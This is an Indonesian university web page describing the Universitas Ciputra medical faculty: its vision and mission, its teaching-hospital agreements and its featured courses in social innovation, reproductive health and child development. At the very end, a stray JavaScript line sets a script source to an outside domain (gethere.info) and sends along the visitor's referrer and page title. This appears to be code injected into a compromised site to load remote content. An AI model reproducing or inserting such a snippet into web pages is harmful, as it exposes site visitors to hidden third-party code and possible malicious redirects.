V i s i

Menjadi Fakultas Kedokteran bermartabat yang menghasilkan dokter berkompeten pada layanan primer dan berkemampuan sebagai inovator sosial yang mampu bersaing secara global untuk peningkatan kualitas kesehatan anak bangsa.

Penjelasan Visi:

  1. Institusi pendidikan kedokteran yang bermartabat adalah Program Studi Pendidikan Dokter (PSPD) yang berkomitmen mendidik anak bangsa dengan pijakan etika moral, menjujung tinggi nilai kemanusiaan, sebagai keutamaan dasar dalam proses pendidikan dokter berkompetensi sesuai SKDI disertai penelitian dan pengabdian masyarakat yang tepat guna dan sasaran sehingga menjadi institusi yang dipercaya dan dihormati.
  2. Dokter berkompeten dalam layanan primer adalah dokter yang unggul dan diandalkan dalam penguasaan ilmu pengetahuan dan teknologi kedokteran, keterampilan medik, mempunyai sikap mental yang luhur, memiliki tingkat profesionalitas sesuai dengan Standar Kompetensi Dokter Indonesia (SKDI) di level fasilitas pelayanan primer.
  3. Dokter sebagai inovator sosial adalah dokter yang memiliki pola pikir dan kepekaan rasa terhadap masalah kemanusiaan dibidang kesehatan dengan upaya inovatif berstandar etika moral, kearifan sikap yang dapat dipertanggung jawabkan, berdaya saing global dan berkelanjutan.
  4. Mampu bersaing secara global berarti bahwa proses pendidikan di PSPD UC berorientasi pada standar Basic Medical Education-World Federation of Medical Education (WFME) Global Standard for Quality Improvement.
  5. Peningkatan kualitas anak bangsa sebagai orientasi utama dengan upaya selalu siaga dalam mengutamakan keselamatan ibu dan anak dalam ruang lingkup kesehatan reproduksi disertai kemampuan mengawal kehadiran janin, bayi serta memantau dan mengevaluasi kesehatan tumbuh kembang anak sehingga mempunyai tata kelola yang tepat sasaran bagi anak bangsa yang sehat jasmani, jiwani, sosial dan budaya.

Upaya mencapai visi tersebut diimplementasikan melalui misi Program Studi Pendidikan Kedokteran Fakultas Kedokteran  Universitas Ciputra (FKUC) sebagai berikut:

 M i s i

  1. Membangun dan mengembangkan institusi pendidikan kedokteran bermartabat.
  2. Melaksanakan pendidikan untuk membentuk dokter pada layanan primer yang berkarakter luhur dan mampu menghadapi tantangan keterbatasan sumberdaya.
  3. Melaksanakan pendidikan untuk membangun kompetensi dan karakter inovator sosial untuk memenuhi kebutuhan masyarakat di bidang kesehatan.
  4. Melakukan penelitian tepat guna dan tepat sasaran di bidang layanan kesehatan terutama dalam kesehatan reproduksi dan tumbuh kembang.
  5. Melakukan pengabdian kepada masyarakat secara tepat guna dan tepat sasaran dalam layanan kesehatan sesuai kebutuhan masyarakat.
  6. Mengadakan kerjasama aktif, mengembangkan jejaring nasional dan internasional di bidang pendidikan, penelitian kedokteran untuk meningkatkan daya saing global.

Manfaat bagi Masyarakat dan Bangsa

1. Kebutuhan masyarakat akan aksesibilitas pelayanan kesehatan yang berkualitas dapat lebih terpenuhi di seluruh penjuru tanah air.

2. Mengurangi beban instansi pemerintah dalam segala tantangan dan hambatan pembangunan di bidang kesehatan.

3. Menciptakan jaringan pembangunan di bidang kesehatan dengan para pemangku kepentingan terkait pengembangan tenaga kerja kesehatan.

DISUPPPORT DENGAN INTERNET BERKECEPATAN 297 Mbps UNTUK SELURUH AREA KAMPUS.

Kerjasama Universitas Ciputra dengan Rumah Sakit Pendidikan

Proses pembangunan rumah sakit yang memerlukan waktu lama, sementara kebutuhan pembelajaran di rumah sakit pendidikan sudah mulai berjalan menjadikan kerjasama dengan RS Pendidikan suatu kebutuhan yang mendesak. Karena itu Universitas Ciputra telah menjalin kerjasama dengan beberapa rumah sakit pendidikan, dengan rincian sebagai berikut:

1. Pada tanggal 23 Desember 2014 Universitas Ciputra telah menandatangani MoU dengan Rumah Sakit Umum Daerah dr. M. Soewandhie sebagai rumah sakit kelas B untuk menggunakan sebagai Rumah Sakit Pendidikan Utama dan bersama mempersiapkan RSUD dr. M. Soewandhie sebagai RS Pendidikan.
Pada tanggal 7 Augstus 2015, Rumah Sakit RSUD dr. M. Soewandhie, telah di visitasi oleh Tim Akreditasi Rumah Sakit Pendidikan Kementrian Kesehatan Pemerintah Republik Indonesia dan saat ini menunggu surat penetapan sebagai rumah sakit pendidikan.
Rumah Sakit RSUD dr. M. Soewandhie juga telah melewati proses penilaian akreditasi pada tanggal 17-19 November 2015, oleh Komite Akreditasi Rumah Sakit (KARS) untuk akreditasi rumah sakit versi tahun 2012 dan saat ini sedang menunggu hasil akreditasi tersebut.

2. Universitas Ciputra bekerja sama dan menandatangani MoU dengan RS Jiwa Menur kelas A dengan akreditasi penuh sebagai RS Afiliasi pada tanggal 15 September 2015.

3. Universitas Ciputra juga telah bekerja sama dan telah menandatangani MoU dengan Dinas Kesehatan Surabaya pada 24 Juni 2015 sebagai wahana pendidikan kedokteran.

4. Pada tanggal 24 Maret 2014 Universitas Ciputra telah menandatangani MoU dengan Universitas Airlangga.

5. Pada tanggal 21 Oktober 2014 Universitas Ciputra telah menandatangani MoU dengan Fakultas Kedokteran Universitas Airlangga sebagai pendamping dan pembina pendirian Program Studi Pendidikan Dokter Universitas Ciputra.

6. Pada tanggal 14 Desember 2013 Universitas Ciputra juga bekerja sama dengan RS Rekso Waluyo Mojokerto kelas C dengan 5 pelayanan dan RS Kristen Mojowarno kelas C dengan 5 pelayanan sebagai RS Pendidikan Satelit

Keunggulan dan Karakteristik PSPD UC

Keunggulan dan karakteristik PSPD UC adalah substansi pembelajaran berbasis SKDI disertai beberapa ilmu yang menjadi unggulan, dengan uraian sebagai berikut:

  1. Inovator Sosial

Inovator Sosial merupakan bagian dari tata nilai Universitas Ciputra. Universitas Ciputra mendefinisikan Entrepreneurship sebagai seseorang yang memiliki perilaku dan kompetensi menciptakan inovasi, yaitu solusi terapresiasi atas kebutuhan tertentu (Bolton & Thomson  2013).  Dalam konteks layanan kesehatan, inovasi yang di maksudkan adalah inovasi sosial, dimana nilai yang diciptakan menjawab persoalan kesehatan di masyarakat dan ditujukan untuk memberikan dampak sosial. Contoh inovator sosial yang kita kenal  dalam  bidang layanan kesehatan adalah dr. Gamal Albinsaid, “dokter sampah” di Malang dan Aravind Eye Care di India.  Seorang inovator sosial adalah seseorang yang mengerti permasalahan sosial dan menggunakan kemampuan inovasi untuk melakukan perubahan sosial (social change), terutama meliputi bidang kesejahteraan (welfare), pendidikan, dan kesehatan (healthcare) dimana keberhasilannya diukur dari manfaat yang dirasakan masyarakat.

Hal ini sejalan dengan Standar Nasional Pendidikan Tinggi Indonesia menyebutkan salah satu sikap lulusan yang perlu dimiliki adalah semangat kewirausahaan (Permendikbud no 49/2014 dan Permendikti no 44 /2015tentang SNPT).

Mahasiswa mengikuti pembelajaran INOVATOR SOSIAL selama lima semester. Pembelajaran didesain dengan project based learning secara berkelompok.  Siklus belajar dilaksanakan dengan urutan sebagai berikut

(a) Discovery: latihan kepekaan untuk memahami permasalahan/ kebutuhan;

(b) Planning & Resourcing: menggunakan kreativitas untuk pemecahan masalah, validasi oleh pemakai dan menghimpun sumber yang diperlukan

(c) Implementasi: melaksanakan upaya terorganisir untuk penerapan pada komunitas pemakai

(d) Evaluasi dan Refleksi: mengukur keberhasilan dan mengidentifikasi kekurangan serta merekonstruksi pembelajaran.

Dalam mata kuliah Inovator Sosial ini mahasiswa dikenalkan dengan institusi sosial di bidang kesehatan yang inovatif dan solusi-solusi bidang kesehatan yang inovatif, dibekali dengan prinsip-prinsip inovasi sosial, strategi-strategi dalam melakukan inovasi, magang pada para mentor inovator sosial, masuk komunitas untuk menggali problem sosial  yang ada, dan secara tim, belajar menerapkan solusi pada komunitas meskipun dengan keterbatasan sumber daya serta membentuk jejaring dengan komunitas dan para stakeholder inovator sosial.

Dengan mengulang-ulang siklus belajar dalam Inovator Sosial ini, maka seorang akan membentuk sikap pikir (mindset), kompetensi dan perilaku (habit) innovator, sesuai dengan definisi Unesco tentang “learning to be”.

Pengalaman bekerjasama dengan komunitas innovator sosial juga akan menolong para dokter ketika mereka diterjunkan dalam komunitas lain termasuk di tempat terpencil dengan cara berpikir kreatif dan bertindak inovatif mengeksekusi tindakan secara memadai dalam keterbatasan sumber yang tersedia. Selama lima semester mahasiswa mempunyai pengalaman dalam menciptakan inovasi sosial yang berkelanjutan serta memiliki dampak yang baik dan diterima oleh masyarakat.

 

  1. Kesehatan Reproduksi

Kesehatan reproduktif didefinisikan sebagai keadaan yang lengkap dan sejahtera dalam fisik, mental, dan sosial dalam segala hal yang berkaitan dengan sistem reproduksi, pada setiap tahap kehidupan. Pada mata kuliah ini mahasiswa diajarkan mengenai organ-organ sistem reproduksi, fungsi normal organ reproduksi pada berbagai siklus kehidupan konsep reproduksi kesehatan manusia sepanjang daur kehidupannya meliputi sejarah, perkembangan reproduksi dalam aspek biologis, psikologis dan sosial spiritual, kesehatan reproduksi dalam aspek gender, permasalahan kesehatan reproduksi sampai pada intervensinya secara komprehensif, keluarga berencana, perkembangan ilmu kedokteran terkini mengenai kesehatan reproduksi serta indikator status kesehatan reproduksi. Metode pembelajaran secara Problem Based Learning, dan diberikan pembekalan keterampilan medis dalam organ reproduksi dalam kegiatan pembelajaran skill labs. Diharapkan dengan adanya keunggulan mata kuliah Kesehatan Reproduksi nantinya akan memberikan kontribusi nyata bagi penurunan angka kematian ibu.

  1. Tumbuh Kembang

Mata kuliah tumbuh kembang memberikan pemahaman kepada mahasiswa tentang pertumbuhan dan perkembangan anak pada setiap periodenya. Selain itu, dalam mata kuliah ini juga akan dibahas tentang kesehatan anak yang terkait dengan permasalahan dalam tumbuh kembang. Pokok bahasan pediatri sosial mencakup topik tumbuh kembang anak dan remaja, pelayanan kesehatan anak, program imunisasi. Selain itu terdapat mata kuliah gizi anak, masalah kesehatan anak terkait infeksi, sistem organ nefrologi, hemato-imunologi,  neurologi, kardiologi, pulmonologi, gastroentero-hepatologi, endokrinologi  dan onkologi pediatri. Selain itu juga diajarkan mengenai pokok bahasan perinatologi. Metode pembelajaran secara Problem Based Learning, dan diberikan pembekalan keterampilan medis terhadap anak dalam kegiatan pembelajaran skill labs. Diharapkan dengan adanya keunggulan mata kuliah unggulan tumbuh kembang dapat dihasilkan lulusan dokter-dokter yang dapat turut serta meningkatkan kualitas anak bangsa.

Tabel Peta Kurikulum

fk 3fk 4

Biaya Kuliah

FK A5 - 2

Alur Pendaftaran

ALUR FK NEW

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Quantcast